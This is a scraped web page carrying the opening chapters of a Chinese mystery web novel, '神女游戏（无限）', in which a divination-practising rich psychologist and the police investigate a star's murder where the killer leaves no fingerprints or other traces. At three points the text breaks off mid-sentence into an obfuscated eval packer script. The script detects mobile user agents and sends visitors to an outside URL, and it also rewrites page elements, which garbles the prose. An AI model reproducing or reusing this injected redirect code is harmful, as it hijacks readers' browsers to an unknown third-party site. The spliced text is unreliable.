《神女游戏（无限）》 1. 奇门凶杀案 当年的永生市发生了一起轰动全球的大案子，一度让这个城市成为了众矢之的。 *** “警察同志，我真的不是凶手啊，我只是刚好察觉这里不太对劲而已……” 月栀酒是永生市富二代圈子里有名的奇人，他不仅是心理学专业毕业的富二代，还使得一手好玄学。 人说「学好奇门遁，来人不用问」，月栀酒最擅长的便是这「奇门遁甲」之术。 不过为了遵循近年来国家推行的无神论政策，月栀酒出门在外几乎不敢轻易暴露自己会玄学的事情……只是今天，他好像有点瞒不住了。 在国际上都有一席之地的顶流明星舒久月被人在家中残忍杀害，而月栀酒则是本案的第一发现人。 站在他面前的一位姓张的年轻警员说：“我知道，您说过很多遍了，但是现在咱们讲的是科学，您那种‘感觉不对，所以来看看’的说法实在是没有办法成立啊。” “那现在要怎么办？”月栀酒问。 那位姓张的年轻警察回：“我只是个排头兵，现在要等我的领导过来问您一些问题，然后您按照程序还要跟我们回警局做笔录。” “领导？”月栀酒眼珠子一转，像是想到了什么，“那就等呗……不过等待的时间太漫长了，我们聊聊天儿吧。” “聊……天？” 月栀酒还没等对方说完就又问：“你叫什么名字？” “张小元。” “噢，是小张同志啊……” —————— 五分钟后，张小元的直属上司李晓音一边听着属下汇报刚才发生的案件，一边从警车上迈步下来，往案发现场赶去。 她在路上遇到了今年刚毕业的张小元。 张小元很自然地走到她身边，看起来似乎是专程来接她的。 “晓音姐，现场的情况你都知道了吗？” 李晓音的步伐雷厉风行，“嗯，路上多少听了点……诶，你这么快就上任了？我以为还要过几天呢。” 其实李晓音只比张小元大两届，他们还是同校的师姐弟。 张小元说道：“听说你爸爸又要结婚了，这次你还要不要去捧场的？” 张小元和李晓音算是青梅竹马，两人一起从吃奶玩到吃社会的大饼。他们在彼此面前说话从不假装客气，向来是有什么说什么，有时还会讽刺挖苦对方几句。 “不是那边，是这一栋啦……你看小华在门口手都快跟你招断了，真是个路痴。” “我没看到嘛……” 李晓音方向感有些不好，差点走错了路，还好被张小元给拽了回来。 “你还没有回答我的问题呢。” “有什么好回答的？他每年都结，每年都离，拿的红本都快赶得上我的奖状了，不是什么新鲜事儿。而且他再娶就娶到我妹妹的年纪了，虽然我没有妹妹，但是我能想象到那些本来可以当我妹妹，却上赶着当我小妈的人……哎，反正无论如何，那都是别人的选择，我可没有那么多功夫跟他们闲耗。” “可是你爸这么乱搞，你都不说说他的吗？” “我妈都没有吭声，我还能说得上什么？只要他没重婚、不犯法、不把自己搞破产了来找我要钱，其他的我也管不着……对了，现场是不是还有一个嫌疑人？” “是啊。” “他还在吧？” 张小元拍着胸脯保证，“老赵他们守着呢，跑不掉。” “他叫什么来着？”李晓音最初得到的情报一股脑烫熟了记忆，她有点记不清了。 “月栀酒，本案的第一发现者。” 张小元说话的同时按开了电梯门，四四方方的金属大箱子里面已经装进了三个人。 “高队从总局那边过来，最多还有十分钟就到，我先去看看。”李晓音看了眼手腕上的手表，快步走进电梯，突然意识到什么，奇怪地看向张小元，“你怎么知道我爸又要结婚了？这次我都是几分钟前才知道的。” 张小元无辜地眨着眼睛，伸手按下了关门键。 “这是个好问题，但是我回答不了。要想知道答案的话，你估计得亲自去问我们那个嫌疑人咯。” 李晓音眯着眼睛问：“我爸关他什么事？” 张小元耸耸肩，“这次的嫌疑人有点意思，你看了就明白了。” 电梯门缓缓关上。 —————— “警察办案，无关群众请回避一下。” 李晓音扒开人群，矮身钻入警戒线，跟正在检查尸体的周法医打了声招呼，用手势和眼神示意对方继续。 “明星的案件最麻烦了，总是有狗仔队和狂热粉丝全程跟踪，拦都拦不住。”她看着拥挤的人群，这样抱怨道。 张小元紧接着说：“也有好处的吧，这样线索应该会比较多。” “没错，但是干扰线索也会更多。” 李晓音环视了一圈四周。 虽然死者的房子很大，但是现场的人也实在是不少。他们已经把小区的保安一个掰成三个用了，加上刑侦支队自己的人手也还是赶不走那些媒体和粉丝。 不愧是当红明星，这样的社会影响力真是吓人。 “我的嫌疑人呢？”李晓音问。 张小元指了指坐在沙发上打瞌睡的棕色卷发男人，“在那儿呢。” “……你刚刚进电梯的时候说了什么来着……他有意思在哪？” 李晓音皱着眉头，像是买到了图片仅供参考的假货。 那个男人看上去有几分混血的味道，长得不是很高大，看起来也不像是有什么文化底蕴的样子，倒是有几分暴发户家的纨绔公子哥的神韵……还是从不给人好脸的那种。 “他懂玄学。”张小元压低了声音说。 “还是个算命先生啊？富二代当算命先生的虽然不多，但是……”李晓音并不觉得有什么稀奇。 “我建议你还是先跟他说上话再说感受，他真的不像是单纯算命的。” 李晓音想起来张小元问她爸是不是又要结婚时的情景，“噢，就是他告诉你我爸……” 还没等她说完，张小元就抢先接住了话茬，“据说他还是心理学专业的高材生，永生市有名的富二代。” 李晓音歪着头，和小猫不解时的表情一模一样，“有名吗？我怎么不知道？” 张小元无语地问：“大姐，你要不要数数你认识几个富二代？” 李晓音掰着手指数了数…… 这是一个令人伤心的话题。 “哎，高队来了！”张小元远远看到他们那位明年就年满50岁的大块头队长，扒拉了几下李晓音。 “这么快啊？我连嫌疑人的头发丝儿都还没碰到一根呢，高队这是一点发挥的空间都不给我留啊……”李晓音嘴上这么说着，身体还是迅速挪过去跟高琴打了招呼，然后老老实实跟在他的身后。 只见他们这位高队长一言不发地坐到嫌疑人面前空荡荡的木制茶几上。 茶几发出咯吱的响声，但经验丰富的高队长笃定它的材质撑得住自己健壮的身躯。 月栀酒睁开昏昏欲睡的眼眸，双目和高琴眼仁的距离近在咫尺，但他的嗓音却琢磨不透起来。 “哟，高队长，您终于来了～” 李晓音和张小元不约而同地想，原来他们认识啊，难怪这个嫌疑人这么有恃无恐。 高琴面上不见一丝波澜，光是盯着月栀酒的眼睛问：“你来这里做什么？” “怎么，这又不是高队长您家，我还来不得了？在这里我们都是客人，业主是里面躺着的那位。人家都还没表态赶我走呢，就算我是你的重点观察对象，你也不可以这么专横霸道吧？” “回答我的问题。”高琴用审犯人的语气强调。 月栀酒看向站在墙边的一对母女，母女俩看起来局促不安，显然是第一次经历这样冲击巨大的场景。 “喏，那边那个姑娘明年高考，但是因为各种各样的问题，家庭关系闹得有点僵，所以她的母亲大人就邀请我来处理一下。你也知道，我是国家执业精神医生，接个个案没有问题吧？谁知道这么赶巧，就碰上了俩对门儿呢……只能说是这天公不作美，莫非运气不好这种事情，高队长也准备怪到我身上？” “你认识死者？”高琴继续审问。 “当然认识啊，她请我来解决过一个心理问题。”月栀酒瘪了瘪嘴，“演艺圈的个案可不好做，下次得加钱。” “你帮她解决了什么问题？” “嚯啊，那我不能告诉你，这可是涉及他人隐私和我个人信誉的大事儿。” 高琴没有就月栀酒的私事展开盘问，他的重点仍旧放在眼下的明星凶杀案上。 “你是第一发现人？” “怎么，我太英俊潇洒了，看起来不像吗？”月栀酒反问。 高琴看了眼正在记录的张小元，又继续追问：“你是怎么发现尸体的？” 月栀酒的眼珠转了一圈，一边回忆一边说，“从对面出来之后，想起来这里是大明星的家，就想着过来看看她好点了没有。” 高琴审问过的人太多，经验太过丰富，只一眼就看出月栀酒的谎话。 他瞪着月栀酒。 “呃，好像露馅了……好好好，我知道我的话漏洞百出，我也没想到我居然会漏了主语……”月栀酒双手举起比出投降的姿势，“说实话，我掐指一算的。这不是想给你们编一个科学一点的理由嘛，省得你们一天天叫我神棍，这个称呼真的不好听。” “是不是你？”高琴没有理睬月栀酒的嬉皮笑脸，继续问。 “是我什么？凶手啊？高队长，你这个问题没有意义的，难道我说不是你就会信吗？” 月栀酒站起来，一只手的手掌搭在高琴的肩膀上，视线遥遥往死者尸体的方向看去。眼睛看也没往后看，另一只手轻点了几下张小元所在的方位。 “这些家伙太坏了，居然不让我看看尸体，那我就只好自己猜一猜了。大明星舒久月心脏中刀身亡，一共中了三刀，哦不，四刀！其中两刀为致命伤，死亡时间是子时，也就是晚上11点到第二天凌晨1点钟之间。夜半子时，闹午夜凶铃啊……凶手应该想留下过夜的吧，只是他们好像不太和谐……激情杀人，对，十二分的激情！” 高琴把月栀酒拽回沙发上。 “高队长，您轻着点儿……” 他看向张小元，这个年轻人和女法医是最先到达现场的一批人，他一定事先就跟周法医交流过了死者的情况。 年轻人向他微微点了一下头，意思是月栀酒说的信息都对得上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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月栀酒叹了一口气，“所以现在是没得谈了，准备把我捉拿归案？理由是欧洲中世纪的女巫，还是现在严令禁止的邪教或传销？我要怎么证明自己是无辜的呢？噢，这可真是个世纪难题，我还是先去把π算尽吧，说不定到时候可以证明世界是不存在的，我们就可以一起死了，欧耶！” 他展开左手的食指和中指比了个“耶”，有种不稀罕活着，也不讨厌死亡的松弛感。 高队长现在不要说像秀才遇上兵，怎么说也像是兵遇上了有文化的流氓，而且这个流氓可以一口气说一堆话还不打结。 他只好叹了口气，“没有证据，抓不了。” “那放我走？” “不行。”高琴厉声道。 “哈，高队长，你现在就像同时吊着好几个美少女的渣男，每一个你都不想跟人家谈婚论嫁，但也每一个都不放手。” 月栀酒脑子里转的弯和他的语速一样快而顺滑，高琴都被他给带偏了一瞬。他下意识反驳：“我哪有同时吊着好几个？” “不是吧？莫非高队长你现在还没有结婚是因为……”月栀酒语不惊人死不休，双手合十放在胸前，假装很虔诚的样子，不知道是在对着谁忏悔，也不知道在忏悔什么，“罪过罪过，人本多样，尊重每一个人的爱恨情仇，也尊重每个人的喜怒哀乐……愿高队长能嫁个好人家，愿天下有情人终成眷属……” 高琴像面具一样的石膏脸险些被月栀酒逗得裂开，露出里面恼羞成怒的表情。 李晓音和张小元站在旁边，他们看似面色严肃，可嘴角抽搐出的一缕笑意却彻底暴露了他们涉世未深的那点幼稚。 不行，他们是专业的，一般不会笑，二般也不会，除非抛开一切来谈……那笑的过错，也就一并被抛开了。 “行了。”高琴叫停了月栀酒的新概念咒语。 “总算是放过路人小透明，准备跟死者聊聊天，逮捕穷凶极恶的杀人犯了？”月栀酒用几乎听不到的声音换了口气，“高队长想让我怎么做呀？” 高琴一个字一个字地说：“协助我们，将真凶捉拿归案。” 他从未觉得自己吐字如此清晰。 月栀酒的笑声卡在嗓子眼干颤了两下，“呵呵，这个活我接不了。” 高琴本以为闲极无聊、整天混吃等死的月栀酒会毫不犹豫地答应下来，哪怕只是为了好玩。 可现实是他拒绝了。 “为什么？” 月栀酒想都没想，直接答道：“因为凶手消失了。” 高琴以为自己能够理解这句话。任何会说中文，并且脑子没有问题的人都可以理解。然而当这个想法在他的脑子里盘旋到一圈的末尾，便突然裹挟着“凶手消失了”这句话的尾音一起消失得无影无踪了。 “呃……什么叫消失？” “瞧您这问题问的，消失就是找不到了呗。” “为什么会消失？” 月栀酒没有解释，转而用另一种奇怪的目光看向高琴，“高队长，人又不是我杀的，我上哪儿给您知道去？” 高琴没时间跟月栀酒玩文字游戏，直截了当地问：“我听下来，你是不愿意帮忙的意思？” “这话说的不妥，高队长您跟我认识了这么多年，就当是卖个人情给你，这个忙我也是会帮的……只不过嘛，是按照我自己的方式帮而已。” 高琴想了想，就算月栀酒不愿意帮忙，他也没有什么损失，顶多是少了一些天马行空的想法罢了。 “我明白了，就是不跟我们一路的意思……也行，随便你吧，我先去看尸体了。” 高琴站起身来，不招呼月栀酒，也不吩咐李晓音和张小元搭把手，独自一人走到法医身边去查看尸体的状况了。 2. 奇门凶杀案 “你们高队长还是这么个倔脾气。”月栀酒对张小元和李晓音说：“你们的日子不好过吧？” 李晓音不自觉袒护自己的上司，“月先生，请你不要这么说高队长。” “嚯，怪不得我当不了优秀员工呢，真是活了该了，我就该向您各位学习啊。” 张小元抓抓脑袋，刚想说点什么的时候，只听月栀酒又开口了。 “你们查过门口的监控了吗？” 他头也没偏，不知道在跟谁讲话。 技术员和张小元从第三分局赶往现场，是最先到的一批，李晓音刚好在做另一起案件的收尾工作，被暂时耽搁住了脚步，隔了一段时间才到，所以她还没有来得及查看监控的内容。 李晓音用手肘杵了一下还在卡壳的张小元。 “哦……”张小元意识到月栀酒是在跟自己说话，赶忙答应道：“查过了，从死者昨晚回家，到刚才第一批警员到达现场的这段时间里，除你之外只有三个人来过……” 月栀酒没有耐心听他说完，打了个哈欠，起身打断了他就准备离开。 “我就先走了。” 张小元拦住了他，“诶，等等，现在还不行！” 月栀酒偏头看着张小元，一副玩世不恭的模样，“请问小张同志，我是凶手吗？” 张小元想到推测死亡时间和监控录像，回答“应该不是”，但又想到月栀酒对案件过分准确的玄学预测，补了一句“按理来说”。 “你确定我不是凶手吗？”月栀酒把张小元脑子里句子整理出来，又重复问了一遍。 张小元看了眼李晓音，模棱两可地回：“……应该不是。” 在他开口说“但仍需调查”之前，月栀酒已经绕开他往外走去了。 “那你们赶快去找凶手啊，我这个无关群众就先行回避了。” 张小元当然不可能放过任何一个嫌疑人，快走两步伸手去拦，“月先生，你作为第一发现人，需要去局里录取口供！” “口供？”月栀酒听到这两个字，半开玩笑地打趣他，“我知道的东西全都告诉你了，还需要我再说一遍吗？” 张小元只觉得诧异，他满脑子都只有月栀酒对案件的熟悉，以及他知道李晓音父亲再婚的事情。 这些事不说还好，一说出口就更加可疑了。 “不是，你确定你知道自己跟我说了什么吗？” 月栀酒只是笑笑，没有继续逗这个刚毕业的年轻人。虽然他也没有比张小元大太多，但是毕竟生存环境不同，月栀酒从他身上看到了一种呆萌的可爱。 “我知道我留在这里不添乱就算好的了，根本帮不上什么忙。为了不给各位警察同志添麻烦，我就先去局里喝喝茶，等你们什么时候跟死者聊完天了，再来找我也不迟啊。”月栀酒拍拍张小元的肩膀，“不用送了，我熟得很……放心，我是绝对不会半路逃跑的，你们高队长知道我的老巢，我怕他来家访。” 张小元还想拦，但是被李晓音给揪回了。 他望着月栀酒从人群中消失的背影，不解地问李晓音：“就这么放他走了？” “不然呢？”李晓音面色平平，淡淡回了一句。 “我们怎么跟高队交代？” “不用交代。” “啊？” 李晓音用眼神指着尸体旁边没事人一样的高琴，语气平淡地说：“高队都搞不定那个滑头，你觉得我们能搞得定？” 张小元有点懵，“那他的意思是……” “他根本就没想把人留下来呀。”李晓音用夸张的动作抽了张小元一记，还是没忍住骂出声来：“笨蛋！” 张小元捂着后脑勺，“高队真的是这个意思吗？” “不然你觉着呢？” “这领导的心思，怎么感觉比我高中做的阅读理解还难猜……” 张小元话音出口才发现这原本应该是他腹诽的内容。他不禁想到，今后类似的情况还会递增，悄悄为社会的复杂和自己与这复杂社会截然不同的性格叹气。 李晓音也默默扶额，她也是现在才体会到，原来两年前其他老警员看她的眼神不是蔑视，而是在心里默默回阅自己人生错题本时的感慨。 “李晓音——”高琴高声喊道。 他的视线在屋子里环视一圈，发现他们两个居然还站在原本的位置上没有动，咂了下嘴，“你们两个赶紧给我过来！” 两个年轻人走过去。 “我说你们两个，站那儿聊天呢？手上没活啊？”高队长照常责骂爱偷懒的手下。 张小元还是觉得不妥，把月栀酒离开的事告诉了高琴。 “高队，嫌疑人月先生走了。” 高琴一只手翻弄着尸体周围的家具，另一只手放了个物证牌过去。跟在他旁边的警员抬着摄像机一路拍照。 他毫不在乎地随意说道：“昂，走就走了呗，我又不是他家雇的保姆，还得跟在他屁股后面收拾残局不成？” 李晓音给了张小元一个“叫你多嘴，遭冷眼了吧”的表情。 高队长继续手头上的工作，像是突然想起来什么要紧事一般，后知后觉地问：“他走之前有说什么吗？” “他说去局里等我们。”张小元回答。 李晓音也很期待，不知道像月栀酒这样个性盖过规章制度，同时还有丰厚底牌的人到底会不会老老实实去警局报到。 高琴站直了身子想想，“那小子才不是去等我们的，他有自己的小算盘……” 张小元这次没敢吱声，只是愣愣地站在旁边听。 “我们回去还要一会儿，那小子估计等不了这么久……”高队长对李晓音说：“他好像是前几天来死者家里的，你安排一两个人跟着他。” “好的。”李晓音刚答应下来，高琴的目光就锁定到了手足无措的张小元身上。 他指着张小元说：“不用了，就他吧。” “我……？” 高琴走到房间的另一边去和周法医交谈，张小元一把拽过了李晓音。 “高队这是什么意思啊？怀疑那位月先生是凶手吗？我需要做些什么？” 李晓音一脸无奈，“他的意思是，月先生的嫌疑还没有完全解除，喊你去盯着。更重要的一点是，他前几天来找过死者，有可能被凶手盯上，让你去保护他的安全。” “啊……现在去吗？去局里？” 张小元怕理解错领导的意思，接连不停地问，颇有一种憨直的神色。 “是的。” 高琴在那边冲李晓音招手，她加快了语速说：“而且你还得快点去，我听高队的意思是月先生不会在局里待太久。噢还有，别忘了换便衣……别玩跟踪啊，好好跟人家交流，记住你是去保护人家的。” “哦……好……” “诶等一下！”李晓音示意张小元凑近，对他耳语了几句，“……就这些，你记住了没有？” “记住了。” “跑快点啊！” 李晓音话一落地就跑到高琴身边了，只留下张小元一个人落在原地。 ……他现在好像是要一个人去保护嫌疑人。 天呐，不管月栀酒是凶手，还是被凶手盯上的猎物，听起来都好危险……他才刚大学毕业，本来以为会有一个漫长的实习过程，殊不知第一个任务就如此的艰巨。 —————— “他是你学弟吧？”高琴问李晓音。 李晓音微微点了下头，“是的。” “你还没有忘记新人容易遇上哪些问题吧？好好带他啊……” 李晓音听高队长教她如何带新人，心想如果没有高琴这样的上司，她的发展也不会如此顺遂。 说起来，她很幸运。 这和中了几千万的彩票的幸运不同，这是一种富人看不上，穷人够不到，就这样横亘在二者中间的幸运。只属于她的幸运。 “去帮忙找找指纹吧。”在交代完张小元的事情之后，高琴这样对李晓音说。 “好。” 李晓音很聪明，她几乎是在一瞬间就抓住了高琴口吻中不易被人察觉的问题所在。 ——指纹。 高队发现指纹有哪里不对劲吗？ 李晓音跑去帮忙，同时想到在她来之前，张小元他们好像也检查过指纹。但是张小元和其他在现场的同事都只说了死者舒久月的指纹怎样怎样，关于凶手的指纹倒是一点都没有提。 她问书房里正在寻找指纹的同事：“没有找到凶手的指纹吗？” 站在书柜旁沾了磁粉准备接着采取指纹男同事扭过头看到她，而后又低下头继续工作，说话的口气和手上的动作一样小心翼翼。 “没有……还真就奇怪了，我们第一批送过去的指纹居然全都是死者的，只有门口的两个属于第一发现人。你说就算那个男的是凶手，前两天还有好多人来过这里，舒久月昨天晚上做了个大扫除吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357020|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李晓音对这个情报有点无法理解。 “不能吧。”她带着质疑的目光又扫了一遍这间屋子，用开玩笑的语气跟男同事说：“现场都是打斗过的痕迹，大扫除也只可能是打斗过后，凶手为了不留下证据才弄的……嘶，但是这哪里像是大扫除过的样子嘛？” 李晓音手指滑过书架的侧面，擦出一撮薄薄的灰尘。 “你查过了，这些地方也都是只有舒久月一个人的指纹？” “昂，好多指纹都是挺久以前的了。”男同事说。“这个凶手还怪会挑的，要擦就全部擦掉嘛，还专门留下舒久月的指纹，你说他是怎么区分出来的？也不怕留下点什么……” 李晓音自顾自在房间里踱步，戴着白色手套的手时不时会在家具上隔空摸索，快要接近，又想起来这是证物，遂收回期待的手指。 大部分家具都披上了灰尘演化的薄膜，而这些家具如此暴露而独特，独特到凡是来人都会情不自禁想把手搭上去摸摸它们的质感…… 没有擦拭过的地方也只有舒久月一个人的指纹。 男同事说得很对，凶手是怎么做到杀完人之后，在不破坏这薄薄一层灰尘的前提下，识别出舒久月的指纹，然后再擦掉其他所有指纹的？ 确实是太奇怪了。 …… 李晓音从书房走到卧室。 这里也有一个同事正取证。 舒久月被人杀害的地点是客厅的沙发旁边，然而卧室的床上却有颠鸾倒凤的痕迹——这里应该是她离开人间前最后的站台。 “有什么发现吗？”李晓音问。 卧室里的同事听到之后，露出同样奇异的神色，用连自己也不相信的语气说：“比没有发现……还少了点东西。” 李晓音丝毫不意外这个答案，像走过场一样随口问：“是少了指纹吗？” “不止。你就看这个场景，发生了什么不难想象吧？”卧室里的警员一手叉着腰，一手隔空画了个圈围住床铺，眉头蹙起，“可是他们完事了，现场居然只有舒久月一个人的痕迹，对方的痕迹半点都没留下。就算把套带走了，也该留下几根头发吧？现在就搞得像是舒久月跟一个不存在的人做了，然后那个人就跟变魔法一样‘咻’的就消失得无影无踪了……不知道她的粉丝知道这个结论之后会疯狂成什么样，这下有得忙咯……” 李晓音走出卧室，耳畔回响着那句话——消失得无影无踪了。 她记得这个形容词。 月栀酒早在他们找到指纹的谜题之前，就破解出了答案。 她还记得他说过，这个活他不接，因为凶手消失了。 李晓音心想，自己这辈子都不可能知道月栀酒这种人心里在想些什么。 可她转念又想，自己本来也没有什么必要跟他比。又不是做实验，为什么总有人喜欢把两个相差很的人强拉行到一起进行比较呢？况且比较出来的结果，又能说明什么？ 这个世界上有太多人把这样的实验奉为真理，可他们却粗糙到连变量都懒得控制。 取两个人类生命体，忽视掉家庭、经济、环境等一切外在因素，探究为什么“别人可以做到的你就做不到”——完全就像是家长对不争气的孩子说话时的口吻。 恍惚间，李晓音感觉自己回到了过家家的年纪，上一句话还是对大人的讽刺，下一句话就回到了现实到残酷。 她突然意识到自己的批判细胞前所未有的健康，差点忘了她根本就不是学文学的人，也从来没有热爱过文学。 思想刚钻进肚子里，趁它还未发育出五官的时候，李晓音就把它打掉了。 那一瞬间，李晓音觉得自己好畸形，也好无聊。 …… 来到客厅。 高琴听完了李晓音的汇报，尽管心理已经犯了嘀咕，但在面上也只是悄悄咂嘴。 这个案子好像比他想象的还要更难一点。 他看了监控，在死亡时间里拜访过舒久月的只有三个人。 杀人时间如此清晰，案件嫌疑人如此明了，受害者的死因更是具体到失真，可是高琴总觉得漏掉了什么。他没有证据，只是隐约觉得哪里不对。要是想把死者、杀人案和凶手连接起来，好像还差了点什么东西。 不知道月栀酒去警局是想要做什么。虽然这样说有点不负责任，但是高琴真心希望他可以不经意间找到这个案子的有趣之处，再不经意间用他的各种神通，找到打开真相之门的钥匙。 3. 奇门凶杀案 警局斜对面有一片大到夸张的小区运动器材广场。 虽然今天是端午节的第一天，但是附近的居民似乎都忙于欢聚。一路过来，街道上都空荡荡的，只寥寥走着几个或老或小，要不就是脚步快出残影的年轻人。 月栀酒从自己新买的新款保时捷上下来，跟司机说不要走太远，过会儿就要换阵地。 司机说好，把车开走了。 月栀酒不喜欢热闹，而且喜欢一段时间换一套房子住，所以他没有雇保姆，一直都是请的钟点工。但是他有三辆车，自己又不会开，也没有学车的打算，所以就只好雇了个司机，方便他出行。 那片小广场上的运动器材在阳光下被晒得发烫，月栀酒悠哉悠哉地走过去，踏上黄蓝色相接的太空漫步机，双脚交替走着，没有目标的眼睛很难不往周围的环境上瞟。 这些运动器材崭新得像是十分钟前才将将刷上的油漆，广场旁边的草地也绿得像是被油漆泼过一样。 月栀酒很喜欢自己现在的生活状态。 在他眼里，世上最宝贵的东西就是时间，然而他可以如此奢侈地用金钱和心态制成的勺子去舀时间海洋里的流星，再把这些流星一颗一颗从天际扔下来，竟半点也不觉得心疼。 他不用掐指，也不用任何的预测技法，只是心里隐隐有一种预感，那道声音隐隐告诉他——你在这里可以等到你想等的人。 几分钟之后，他如愿遇到了年仅二十岁的新晋程序员木沐。 这个刚刚摘下“小男生”头衔的年轻人走的是天才的路线，他既没有参加过高考，也根本不了解校园生活，肚子里完全装不进去一点“之乎者也”的意思，仿佛刚出生的瞬间，上天就给他赋予了把一生都献祭给电脑的使命。 月栀酒最近搬到永生市市中心的一套公寓去住，木沐和他的室友好像也才刚搬过去不久，看彼此都是刚拆封时格外崭新，新鲜感未过的样子。 “酒哥，你怎么来了？” 月栀酒笑着和他招手，“你哥我可是专程过来找你的，有没有受宠若惊呀？” 队里的程序员因为私事要辞职，木沐则刚好需要一个到前线历练的机会，上面就把他给安排过来了，预计最多待半年就要走。 月栀酒不好意思问他到底是何方神圣，只是单纯地把他当成普通的邻居相处。只是处着处着，他们感觉彼此的关系越来越熟络，说话也不像最初那般客气了。 “那可不，惊得我路都走不直了。”木沐调整了一下双肩包的背带，像高中生一样的动作，“咱们进去说吧。” “成。” —————— 木沐双手飞速敲击着键盘，“……你说你要看监控内容？” “嗯。”月栀酒用鼻音回答。 “那你不用专门跑过来呀，跟高队一起看不就好了？或者跟我打个电话，让我查了发给你也行。” 月栀酒双手捧着纸杯，里面是木沐一分钟前帮他泡的茶。 茶水很烫，滚滚热气蒸腾上来，遮挡在月栀酒和木沐中间，显得月栀酒说话云里雾里的。 “我之所以找你而不是去找别的程序员，你猜是因为什么？” 木沐的电脑屏幕上滑过一行又一行月栀酒看不懂的代码，他的手指停下，背靠旋转椅转过来，“你的意思是说，监控内容有问题？” 月栀酒不着急回答，转而又问：“现场那边有没有跟你说过情况？” 木沐点头，“有啊，少了一些东西，现场只有死者的痕迹嘛。”少年人突然反应过来，“噢——你是担心监控上的痕迹也被抹除了？” “能看出来吗？” 木沐高兴得几乎要跳起来，激动地说：“能啊，太能了！你都不知道，当年老师教到这里的时候，刚好在办一起难度特别高的大案，所以我这一课就学得特别好。” 看着木沐迫不及待地研究起监控，月栀酒随口问道：“你老师是谁啊？” “呃……”这个问题好像对于木沐来说特别难以回答，他表情顿住，脸色青一阵白一阵。 “不方便就算了，我就是随口问问。” “也没有不方便，只是不习惯……就有一种不管怎么说都很难以服众的感觉，为了减少后续的辩论以及证明……”木沐像滑冰一样丝滑地转变了话题，语气连贯到无可挑剔，“酒哥，可能要让你失望了，监控没有被替换过的迹象。” 他简单给月栀酒讲了一下监控为什么没有被替换的证明，月栀酒也听不懂，半走神的状态下听他讲完，淡淡开口问：“确定吗？” “必须确定啊，虽然这个监控的感觉确实很奇怪，但是除非这个人是世界排名前十的程序员，否则我不可能一点手脚都看不出来。” 茶水的热气拍到月栀酒脸上。 他想，凶手真的消失了。 不是用橡皮擦擦掉铅笔线条的消失，而是让时间倒回落笔之前的消失。 月栀酒用调戏的语气问木沐：“你的头儿希望我来帮助你们查案，你觉得呢？” 木沐犹豫了一下，本能的想要给出一个建议，但是理智插手进来，让建议在脑子里转了两圈就将它赶走。 “那要看你呀，我怎么知道你在想什么？” 月栀酒小口抿着茶，不知道杯子的温度什么时候才会降下来，“你应该能找到舒久月的生平，跟我讲讲吧。不要官方记录，我要野史。” 木沐知道月栀酒这就算答应帮忙了，他当然也知道月栀酒的奇人妙计，恨不得现在立刻就给高琴打电话报喜，但是也不能在月栀酒面前表现出太稀罕他的样子，遂按下了耐心。 月栀酒注意到木沐藏在桌子底下的手在悄悄给高琴发暗号，发自内心地微笑了一瞬，下一秒钟就假装没有看见，又喝了一口茶。 现在茶味刚刚好，如果要等它凉到不用吹也可以喝的温度，恐怕就太浓了。 木沐用电脑调出舒久月的生平资料。 “酒哥，嫌疑人的资料是现在找还是一会儿找？” 月栀酒说：“不用，我只要舒久月的生平、家庭背景和感情经历。” “为什么？”木沐挠挠后脑勺，他也不知道为什么人感到困惑时后脑勺都容易痒。 “因为高队长他们肯定会去查嫌疑人呀，反正也不可能有什么结果，我们没有必要跟注……别废话了，赶紧说你的情报，效率这么慢，小心以后没人要。” 木沐有生以来第一次听到有人说他效率慢，好胜心一下子就上来了，“酒哥你一看就是与世隔绝太久了，我这也能叫慢？要不然你走个程序试试？” “你就说有没有查出来吧？” “等一下，马上这不就查出来了嘛……”木沐指尖的速度加快，最终用弹指神通的力气重重敲击了一下键盘，“OK啦！” 月栀酒冲他竖了个大拇指，没想到他这个开玩笑的激将法居然真的有用。 木沐偏开身子，让月栀酒可以看到电脑屏幕上的资料，同时讲解起来。 舒久月，当红影视歌三栖艺人。 1995年4月16日生人，如今29岁。 她的母亲早亡，父亲早年是知名话剧演员，后来转行开了家演艺公司，叫“月圆娱乐”。 “这里我不得不说，舒久月现在的助理曾经就是‘月圆娱乐’的签约艺人，而且这个助理当时的发展前景特别好，但是跟舒久月的戏路撞了，‘月圆’就决定把她雪藏。这个助理当时付不起天价违约金，硬生生拖了好几年，可以说是未来都被被切断了，杀机挺明显的。” 月栀酒左手立在桌子上杵着下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357021|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴，不甚在意的样子，“我都说了，嫌疑人的事不归我管，跳过，下一个。” 木沐无比真切地感受到了月栀酒比他还要跳脱的个性，敲着键盘筛选了一下。 “舒久月从事娱乐圈，绯闻和恋情都很多，但是我排查了一下，唯一一个有可能的就是其中一个嫌疑人，你也不听吗？” 月栀酒右手随意拿起桌上的一支碳素笔，拿在手中转动了几圈。 “这样啊，那这条线还是留给高队长吧，要不然一会儿兵分两路查案，火车开着开着就撞了头，多尴尬。” “那就只剩她的成长经历和家庭关系咯？” “没错，就是要这个，继续说。” 舒久月母亲比父亲小一岁，两人结婚时，舒母才22岁。她结婚的同年怀孕，次年生下舒久月，因为心脏病去世，终年36岁。 